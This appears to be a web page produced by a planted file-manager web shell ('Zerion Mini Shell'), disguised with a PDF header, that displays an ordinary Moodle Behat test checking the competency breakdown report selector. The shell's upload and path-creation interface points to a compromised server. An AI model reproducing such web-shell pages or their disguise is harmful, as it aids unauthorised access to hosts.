%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/report/competency/tests/behat/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/report/competency/tests/behat/course_report_competency.feature

@report @report_competency
Feature: In a course administration page, navigate through report page, test for course competency page
  In order to navigate through report page
  As an admin
  Go to course administration -> reports -> competency breackdown

  Background:
    Given the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student | 1 | student1@example.com |
    And the following "course enrolments" exist:
      | user | course | role |
      | admin | C1 | editingteacher |
      | student1 | C1 | student |

  @javascript
  Scenario: Selector should be available in the course competency page
    Given I log in as "admin"
    And I am on "Course 1" course homepage
    When I navigate to "Reports" in current page administration
    And I click on "Competency breakdown" "link"
    Then "Report" "field" should exist
    And the "Report" select box should contain "Competency breakdown"
    And the field "Report" matches value "Competency breakdown"

Zerion Mini Shell 1.0